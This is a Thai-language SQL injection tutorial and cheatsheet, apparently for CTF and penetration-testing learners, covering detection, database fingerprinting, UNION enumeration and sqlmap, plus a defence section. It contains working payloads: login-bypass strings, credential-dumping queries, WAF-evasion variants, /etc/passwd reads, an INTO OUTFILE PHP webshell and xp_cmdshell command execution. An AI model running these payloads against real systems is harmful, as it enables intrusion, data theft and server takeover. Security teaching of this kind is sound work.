SQL Injection
SQL Injection (SQLi) คือช่องโหว่ที่เกิดเมื่อแอปนำ input จากผู้ใช้ไปประกอบเป็นคำสั่ง SQL โดยตรงโดยไม่แยกโครงสร้างคำสั่งออกจากข้อมูล ทำให้ 'ข้อมูล' ถูกตีความเป็น 'คำสั่ง' ผู้โจมตีจึงเปลี่ยนความหมายของ query อ่าน/แก้ไข/ลบข้อมูล ไปจนถึงยึดเซิร์ฟเวอร์ได้ บทนี้ไล่ตั้งแต่แนวคิด การตรวจจับ การ enumerate ทีละขั้น payload ตามชนิด DB (MySQL/PostgreSQL/MSSQL/SQLite/Oracle) การใช้ sqlmap การ bypass WAF และมุมมองฝ่ายป้องกัน
1. SQLi ทำงานอย่างไร
หัวใจของ SQLi คือการที่ ข้อมูล (data) ถูกตีความเป็น คำสั่ง (code) ปกติ query มีโครงสร้างตายตัว เช่น SELECT * FROM users WHERE id = '1' เมื่อแอปเอา input มาต่อสตริงตรงๆ ว่า "...WHERE id = '" + input + "'" ผู้โจมตีที่ใส่ 1' OR '1'='1 จะทำให้เงื่อนไขเป็นจริงเสมอ query กลายเป็น ...WHERE id = '1' OR '1'='1' — เส้นแบ่งระหว่างโครงสร้างกับค่าถูกทำลาย
SQLi แบ่งตามช่องทางที่ได้ข้อมูลกลับมาเป็น 3 กลุ่มใหญ่: In-band (ได้ข้อมูลผ่านช่องทางเดียวกับที่ inject — Error-based, UNION-based), Blind/Inferential (ไม่เห็นข้อมูลตรงๆ ต้องอนุมานทีละบิต — Boolean-based, Time-based), และ Out-of-band (OOB) (ส่งข้อมูลออกทางช่องอื่น เช่น DNS/HTTP callback เมื่อ in-band ทำไม่ได้)
| ชนิด SQLi | ช่องทางได้ข้อมูล | ใช้เมื่อ |
|---|---|---|
| Error-based | อ่านจากข้อความ error | แอปแสดง SQL error (verbose) |
| UNION-based | ต่อผลลัพธ์ให้แสดงบนหน้า | output ของ query สะท้อนกลับ |
| Boolean blind | เทียบ response จริง/เท็จ | response ต่างกันแต่ไม่เห็นข้อมูล |
| Time-based blind | วัดเวลาตอบสนอง | response เหมือนกันหมด |
| Out-of-band | DNS/HTTP callback | in-band ทำไม่ได้เลย |
2. การตรวจจับ (Detection)
เป้าหมายขั้นแรกคือ ยืนยันว่ามีช่องโหว่จริง และ เดาชนิดของ SQLi ทำ baseline ก่อน (ส่ง request ปกติ บันทึกสถานะ/ความยาว/เวลา) แล้วค่อยยิง probe เทียบความต่าง
| Probe | สัญญาณว่ามีช่องโหว่ |
|---|---|
' หรือ " | HTTP 500 / SQL error / หน้าเปลี่ยน |
' OR '1'='1 vs ' AND '1'='2 | ผลลัพธ์สองอันต่างกัน = boolean |
1 vs 2-1 | ให้ผลเดียวกัน = DB ประมวลผลนิพจน์จริง |
' AND SLEEP(5)-- - | response ช้าลง ~5 วิ = time-based |
'||' / '+' | string concat ต่างกันตาม DB → ระบุชนิด DB |
-- 1) ทำให้พัง แล้วซ่อม (ถ้าพังตอนใส่ ' แต่หายพังตอนปิด quote = มีช่องโหว่)
' -- คาดว่า error
'' -- คาดว่ากลับปกติ
' AND '1'='1 -- true → เหมือน baseline
' AND '1'='2 -- false → ต่างจาก baseline
-- 2) นิพจน์คณิต (ยืนยันว่า DB ประเมินค่าจริง ไม่ใช่ตรงตัว)
id=2 -- เพจ A
id=3-1 -- ถ้าได้เพจ A เหมือน id=2 = ประมวลผลจริง
-- 3) หน่วงเวลา (blind ตัวสุดท้าย)
1 AND SLEEP(5)-- - -- MySQL
1; SELECT pg_sleep(5)-- - -- PostgreSQL- ระบุจุดรับ input ให้ครบ: GET/POST params, JSON fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), และ Cookie — จุดที่คนลืมบ่อยสุด
- พารามิเตอร์เสี่ยงสูง:
id, ตัวเลข, ตัวกรอง,sort/order(มักต่อเข้าORDER BYตรงๆ) - ระบุ context ว่า input อยู่ใน quote เดียว (
'), quote คู่ ("), หรือไม่มี quote (numeric) — เลือก payload ต่างกัน - ดู error message:
You have an error in your SQL syntax(MySQL),ORA-00933(Oracle),PG::SyntaxError(PostgreSQL),SQLite3::(SQLite),Unclosed quotation mark(MSSQL)
3. ระบุชนิดฐานข้อมูล
ก่อนยิง payload หนักต้องรู้ว่าเป็น DB อะไร เพราะ syntax, ฟังก์ชัน, comment ต่างกันหมด ใช้ probe ที่ให้ผลต่างกันตาม DB
| ต้องการรู้ | MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| เวอร์ชัน | version() / @@version | version() | @@version | banner FROM v$version | sqlite_version() |
| ชื่อ DB ปัจจุบัน | database() | current_database() | db_name() | SYS.DATABASE_NAME | - |
| string concat | CONCAT(a,b) | a||b | a+b | a||b | a||b |
| comment | -- - / # | -- | -- | -- | -- |
| หน่วงเวลา | SLEEP(5) | pg_sleep(5) | WAITFOR DELAY | dbms_pipe.receive_message | (ไม่มี) |
| catalog | information_schema | information_schema | information_schema / sysobjects | all_tables | sqlite_master |
-- ถ้า concat แบบนี้ 'ไม่พัง' = เป็น DB นั้น
'abc' -- baseline
'ab'||'c' → 'abc' -- Oracle / PostgreSQL / SQLite
'ab'+'c' → 'abc' -- MSSQL
CONCAT('a','b','c') -- MySQL (ต้องมี arg หลายตัว)
'a' 'b' 'c' → 'abc' -- MySQL (string ติดกัน)4. Enumerate โครงสร้างฐานข้อมูล
- 1หาจำนวนคอลัมน์ด้วย
ORDER BY n(เพิ่ม n จน error) หรือUNION SELECT NULL,NULL,... - 2หาคอลัมน์ที่ 'แสดงผลได้' (reflected) ด้วย
UNION SELECT 1,2,3,...ดูว่าเลขไหนโผล่ - 3ระบุ DB/เวอร์ชัน/ผู้ใช้ปัจจุบัน ลงในตำแหน่งที่แสดงได้
- 4ดึงรายชื่อฐานข้อมูลและตารางจาก
information_schema.tables - 5ดึงคอลัมน์ของตารางเป้าหมายจาก
information_schema.columns - 6ดึงข้อมูลจริง (credentials / flag) จากตารางที่พบ
-- หาจำนวนคอลัมน์
1 ORDER BY 1-- -
1 ORDER BY 2-- -
1 ORDER BY 3-- - -- ถ้า error ที่ 4 = มี 3 คอลัมน์
-- หาตำแหน่งที่แสดง (สมมติเลข 2 โผล่บนหน้า)
1 UNION SELECT 1,2,3-- -
-- ข้อมูลระบบ
1 UNION SELECT 1,CONCAT(version(),0x0a,database(),0x0a,current_user()),3-- -
-- รายชื่อตารางใน DB ปัจจุบัน
1 UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x0a),3
FROM information_schema.tables WHERE table_schema=database()-- -
-- คอลัมน์ของตาราง users
1 UNION SELECT 1,GROUP_CONCAT(column_name SEPARATOR 0x0a),3
FROM information_schema.columns WHERE table_name=0x7573657273-- -
-- ดึง credentials
1 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),3 FROM users-- -NULL — NULL เข้ากันได้กับทุกชนิดข้อมูล5. เจอโจทย์ SQLi — ไล่ตามนี้
6. Authentication Bypass
จุดคลาสสิกที่สุดคือฟอร์ม login ที่ query แบบ SELECT * FROM users WHERE user='$u' AND pass='$p' ถ้า inject ช่อง username ได้ เราปิดเงื่อนไข password ด้วย comment
admin'-- - -- login เป็น admin ตัดเช็ค password
admin'# -- comment แบบ MySQL
' OR '1'='1'-- - -- คืนแถวแรกในตาราง
' OR 1=1 LIMIT 1-- - -- บังคับเอาแถวเดียว
admin') OR ('1'='1 -- เผื่อ query ห่อด้วยวงเล็บ
" OR ""=" -- context เป็น double quote7. sqlmap — automation
sqlmap คือเครื่องมือมาตรฐานสำหรับ automate การตรวจจับและ dump วิธีที่แม่นที่สุดคือดัก request ด้วย Burp เซฟเป็นไฟล์ แล้วชี้ -r ไป — sqlmap จะรู้ทุก header/cookie/param ครบ
# 1) ดักด้วย Burp → Save item → request.txt แล้ว:
sqlmap -r request.txt --batch
# ระบุพารามิเตอร์ที่จะทดสอบ + เพิ่มความลึก
sqlmap -r request.txt -p id --level=5 --risk=3 --batch
# 2) ไล่ enumerate
sqlmap -r request.txt --dbs # รายชื่อ database
sqlmap -r request.txt -D appdb --tables # ตารางใน appdb
sqlmap -r request.txt -D appdb -T users --columns
sqlmap -r request.txt -D appdb -T users -C username,password --dump
# 3) บังคับเทคนิค/DB เมื่อรู้แล้ว (เร็วขึ้น)
sqlmap -r request.txt --technique=U --dbms=mysql # U=union
sqlmap -r request.txt --technique=BT # B=boolean, T=time
# 4) ผ่าน WAF / เพิ่มความทน
sqlmap -r request.txt --tamper=space2comment,between --random-agent --delay=1
# 5) ต่อยอด (เฉพาะที่ได้รับอนุญาต)
sqlmap -r request.txt --os-shell # พยายามเปิด shell (MySQL/MSSQL)
sqlmap -r request.txt --file-read=/etc/passwd| flag | หน้าที่ |
|---|---|
-r file | อ่าน HTTP request จากไฟล์ (แม่นสุด) |
-p param | เจาะจงพารามิเตอร์ที่ทดสอบ |
--level 1-5 | ความลึกของจุดที่ทดสอบ (header/cookie เพิ่มที่ level สูง) |
--risk 1-3 | ความเสี่ยงของ payload (3 = มี OR/heavy) |
--technique BEUSTQ | เลือกชนิด: Boolean/Error/Union/Stacked/Time/inline-Query |
--tamper | สคริปต์แปลง payload เพื่อเลี่ยง WAF |
--dump / --dump-all | ดึงข้อมูลออกมา |
--os-shell | พยายามได้ command execution |
8. WAF Bypass
- space ถูกกรอง: ใช้ comment แทน
/**/หรือ%09(tab)/%0a(newline) เช่นUNION/**/SELECT - คีย์เวิร์ดถูกกรอง: สลับ case
UnIoN sElEcTหรือซ้อนคำUNIONUNION SELECTSELECT(บาง filter ลบครั้งเดียว) - quote ถูกกรอง: ใช้ hex แทน string เช่น
0x7573657273แทน'users'หรือCHAR(117,115,...) - comment ถูกกรอง: ปิด quote ให้พอดีแทนการใช้
-- - - = ถูกกรอง: ใช้
LIKEหรือ<>/BETWEEN - AND/OR ถูกกรอง: ใช้
&&/||(MySQL) - double URL-encode หรือ encode เฉพาะบางตัวเมื่อ WAF decode ชั้นเดียว
-- space→comment, keyword→mixed case
1/**/UnIoN/**/SeLeCt/**/1,2,3-- -
-- string→hex (เลี่ยง quote)
1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=0x617070646200-- -
-- ซ้อนคีย์เวิร์ดหนี strip ครั้งเดียว
1 UNIOUNIONN SELESELECTCT 1,2,3-- -9. ยกระดับ: อ่าน/เขียนไฟล์ และ RCE
-- MySQL อ่านไฟล์ (ต้องมีสิทธิ์ FILE + secure_file_priv เอื้อ)
1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
-- MySQL เขียน webshell
1 UNION SELECT 1,'<?php system($_GET[0]); ?>',3 INTO OUTFILE '/var/www/html/s.php'-- -
-- MSSQL รันคำสั่งระบบ (ถ้าเปิด xp_cmdshell)
1; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -
-- PostgreSQL อ่านไฟล์
1 UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -; DROP TABLE...) ใช้ได้เฉพาะบาง stack (MSSQL, PostgreSQL, PHP+PDO บางกรณี) — MySQL ผ่าน mysqli ทั่วไปรันหลาย statement ไม่ได้ อย่าเสียเวลากับ stacked บน MySQL classic10. ตัวอย่างสถานการณ์ (CTF & Pentest)
CTF — UNION ดึง flag จากตารางซ่อน: หน้ารายการสินค้าใช้ ?category=1 ใส่ ' เห็น MySQL error → ยืนยัน error-based/in-band ทำ ORDER BY พบ 4 คอลัมน์ คอลัมน์ 2,3 แสดงบนหน้า ยิง UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() เจอตาราง secret_flag แล้ว UNION SELECT 1,flag,3,4 FROM secret_flag ได้ flag ทันที
Pentest — filter ใน e-commerce: ฟังก์ชันกรองสินค้าตามช่วงราคาส่ง min_price/max_price ดิบเข้า query ไม่เห็น output แต่ ' AND '1'='1 vs ' AND '1'='2 ให้จำนวนสินค้าต่างกัน → boolean blind ใช้ sqlmap --technique=B ดึงตาราง users ได้ hash แล้ว crack ต่อ รายงานพร้อมแนะนำ parameterized query + least-privilege DB user
11. ข้อผิดพลาดที่พบบ่อย
- ลืมทดสอบ input ที่ไม่ใช่ฟอร์ม โดยเฉพาะ Cookie และ HTTP headers
- ใช้ comment ผิดชนิด —
--ต้องมี space ตามหลัง (นิยมเขียน-- -ให้ชัวร์) - เดา context ผิด (numeric vs single-quote vs double-quote) ทำให้ payload ไม่ทำงานทั้งที่มีช่องโหว่
- ไม่ทำ baseline ก่อน จึงแยกไม่ออกว่า response ต่างเพราะ payload หรือเพราะ random
- ไม่ระบุชนิด DB ก่อน เลยเลือกฟังก์ชันผิด (เช่นใช้
SLEEPกับ PostgreSQL) - เปิด
--level/--riskสูงสุดตั้งแต่แรก sqlmap ช้าและ noise เยอะ - ลืม URL-encode อักขระพิเศษ (
&,+,#) ทำให้ payload เพี้ยนก่อนถึง DB
12. การป้องกัน (Blue-team)
- Prepared statements / parameterized query เสมอ — แยกโครงสร้างคำสั่งออกจากข้อมูลเด็ดขาด (แก้ที่ต้นเหตุ)
- ใช้ ORM/query builder อย่างถูกวิธี (อย่าเอา input ต่อ raw SQL แม้ผ่าน ORM)
- Allowlist สำหรับส่วนที่ parameterize ไม่ได้ เช่นชื่อคอลัมน์ใน
ORDER BY(map ค่าที่อนุญาตเท่านั้น) - Least privilege: DB user ของแอปไม่ควรมีสิทธิ์ FILE, DROP, หรือ admin
- ปิด verbose error ใน production (กัน error-based leak)
- WAF เป็น defense-in-depth ไม่ใช่ การแก้หลัก (bypass ได้เสมอ)
- Detection: log query ที่ error syntax ถี่ผิดปกติ, เห็นคำว่า
UNION SELECT/information_schema/sleepใน parameter
13. Quick Reference / Cheatsheet
[ตรวจจับ] ' " ' OR '1'='1 ' AND '1'='2 1 AND SLEEP(5)
[context] '...' "..." numeric (ไม่มี quote)
[comment] MySQL: -- - หรือ # | อื่นๆ: --
[version] MySQL/MSSQL: @@version PG: version() Oracle: v$version SQLite: sqlite_version()
[concat] MySQL: CONCAT(a,b) / a b PG/Oracle/SQLite: a||b MSSQL: a+b
[catalog] information_schema.tables / .columns (Oracle: all_tables SQLite: sqlite_master)
[cols] 1 ORDER BY n-- - | 1 UNION SELECT NULL,NULL,...-- -
[reflect] 1 UNION SELECT 1,2,3-- -
[dump] 1 UNION SELECT 1,GROUP_CONCAT(user,0x3a,pass),3 FROM users-- -
[hex] 0x3a=':' 0x0a='\n' 0x7e='~' ใช้แทน string หนี quote
[bypass] /**/ แทน space | UnIoN mixed case | 0x.. แทน string
[login] admin'-- - ' OR 1=1 LIMIT 1-- - ') OR ('1'='1
[sqlmap] sqlmap -r req.txt --batch --dbs -D db -T t --dump | --tamper=space2comment- เริ่มด้วย
'และ"เพื่อหา error แล้วยืนยันด้วยคู่ true/false - ระบุ DB ก่อนเสมอ (version/concat) แล้วค่อยเลือก payload
- reflected → UNION, response ต่าง → boolean, ไม่ต่าง → time
information_schemaคือแผนที่ฐานข้อมูล- จนมุมหรืองานเยอะ → sqlmap
-r request.txt
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอฟอร์ม login หรือพารามิเตอร์ที่น่าสงสัยในโจทย์ CTF มีแค่ Kali เปล่าๆ ไม่รู้จะเริ่มตรงไหน — ทำตามขั้นตอนนี้ทีละบรรทัด ทดสอบทีละอย่าง อย่าข้ามขั้น แล้วดูสัญญาณที่ได้ก่อนตัดสินใจว่าจะไปทางไหนต่อ
- 1เปิด Burp Suite (มากับ Kali) → ตั้ง browser proxy 127.0.0.1:8080 → ล็อกอิน/ค้นหาปกติ 1 ครั้งเพื่อดัก request ที่มีพารามิเตอร์
- 2ส่ง request นั้นไป Repeater (Ctrl+R) แล้วเติม ' (quote เดี่ยว) ต่อท้ายค่าพารามิเตอร์ที่สงสัย เช่น id=1' แล้วกด Send
- 3ดู response: ถ้าเห็น error SQL (you have an error in your SQL syntax, ORA-00933, unterminated quoted string) = เจอ error-based ไปข้อ 5 เลย
- 4ถ้าไม่เห็น error แต่หน้าเว็บเปลี่ยน (ข้อมูลหาย/กลับปกติ) ให้ลองคู่เทียบ true/false: id=1' AND '1'='1 กับ id=1' AND '1'='2 เทียบ response
- 5เซฟ request เป็นไฟล์ req.txt (Burp: Copy to file หรือ Save item) แล้วรัน sqlmap -r req.txt --batch --dbs ให้ sqlmap เดา DBMS/ยืนยันช่องโหว่อัตโนมัติ
- 6ถ้า sqlmap เจอ --dbs → เลือก sqlmap -r req.txt --batch -D
--tables แล้ว -T --dump เพื่อดึงข้อมูล
- 7ถ้า sqlmap ไม่เจออะไรเลย (false negative) ลอง --level 5 --risk 3 หรือระบุ --technique ให้ตรง (B/E/U/S/T) หรือลองมือเปล่าด้วย time-based: ' AND SLEEP(5)-- -
- 8ถ้าโดน WAF บล็อก (response 403/blocked) ลอง encode payload ด้วย CyberChef หรือใช้ sqlmap --tamper=space2comment,charencode
- 9เมื่อยืนยันชนิดช่องโหว่ชัดแล้ว (error/blind/union/time) เปิดหัวข้อเฉพาะทางของชนิดนั้นเพื่อเทคนิคขั้นสูงต่อ
Master flow — เจอจุดสงสัย SQLi แล้วไปทางไหนต่อBaseline: ลองใส่ค่าปกติก่อน 1 ครั้ง เก็บ response ไว้เทียบเติม ' ต่อท้ายค่าพารามิเตอร์ที่สงสัย แล้วส่งใหม่ (Burp Repeater)response เปลี่ยนไปจาก baseline ไหม?✅ เห็น SQL error message ตรงๆ (syntax error, ชื่อ DB โผล่)→→ error-based ชัดเจน✅ หน้าเปลี่ยน (ข้อมูลหาย/component พัง) แต่ไม่มีข้อความ error→→ ต้องเทียบ true/false ต่อ❌ เหมือน baseline เป๊ะ→→ ลองพารามิเตอร์อื่น หรือไป time-basedทดสอบคู่ true/false: id=1' AND '1'='1 เทียบกับ id=1' AND '1'='2response สองอันต่างกันชัดไหม (เช่น true=เห็นข้อมูล, false=ไม่เห็น)?✅ ต่างกันชัด→→ boolean-based blind ยืนยันแล้ว❌ เหมือนกันทั้งคู่→→ ลอง time-based (SLEEP) ต่อผลลัพธ์ query แสดงตรงๆ บนหน้าเว็บไหม (เช่น list สินค้า/ผลค้นหา)?✅ เห็นผลลัพธ์แสดงบนหน้าเว็บ→→ ลอง UNION SELECT ดึงข้อมูลออกมาแสดงตรงๆ❌ ไม่มีอะไรสะท้อนกลับเลย→→ ไป time-based ต่อทดสอบ ' AND SLEEP(5)-- - แล้วจับเวลา responseresponse ช้าขึ้นตามเวลาที่สั่งไหม?✅ ช้าตรงเวลาที่สั่ง (เช่น ~5 วิ)→→ ยืนยัน time-based blind❌ เวลาเท่าเดิมทุกครั้ง→→ อาจไม่ใช่ SQLi จุดนี้ หรือโดน WAF กรองลองทุกอย่างแล้วไม่มีสัญญาณเลย → รัน sqlmap -r req.txt --batch --level 5 --risk 3 แทน หรือเปลี่ยนพารามิเตอร์/encode payload ใหม่ขั้นตอน/งาน เครื่องมือใน Kali ติดตั้งเพิ่ม (ถ้าไม่มี) เครื่องมือออนไลน์ ดักจับ/แก้ไข request Burp Suite (Community) - - ทดสอบอัตโนมัติ/dump ข้อมูล sqlmap already in Kali - เรียนรู้ตัวอย่าง lab มาตรฐาน - - portswigger web security academy encode/decode payload หลบ WAF - - CyberChef crack hash รหัสผ่านที่ dump ได้ hashcat / john already in Kali crackstation.net เปิด reverse shell หลัง RCE (stacked query/xp_cmdshell) nc / socat already in Kali revshells.com ทดสอบ payload มือก่อนยิง sqlmap curl already in Kali - 🚑 ถ้าตันสนิท ลองท่าถัดไป: union-sqli ถ้าเห็นผล query สะท้อนบนหน้าเว็บ, blind-sqli ถ้า response ต่าง true/false แต่ไม่มี error, time-based-sqli ถ้าไม่มีอะไรต่างเลยต้องจับเวลา, command-injection ถ้า DB user มีสิทธิ์รันคำสั่ง OS (xp_cmdshell/INTO OUTFILE), nosql-injection ถ้า backend จริงๆ เป็น MongoDB ไม่ใช่ SQL แท้หัวข้อที่เชื่อมโยง
Blind SQL Injectionเกี่ยวข้องโดยตรงTime-based SQLiเกี่ยวข้องโดยตรงUNION-based SQLiเกี่ยวข้องโดยตรงError-based SQLiเกี่ยวข้องโดยตรงNoSQL Injectionเกี่ยวข้องโดยตรงGraphQL Attacksเกี่ยวข้องโดยตรงParameter Discoveryเกี่ยวข้องโดยตรงCommand Injectionเกี่ยวข้องโดยตรงBurp Suite Playbookเกี่ยวข้องโดยตรงAuthentication Testingเกี่ยวข้องโดยตรงServer-Side Template Injection (SSTI)เครื่องมือเดียวกันFFUF Playbookอยู่ใน workflowโน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้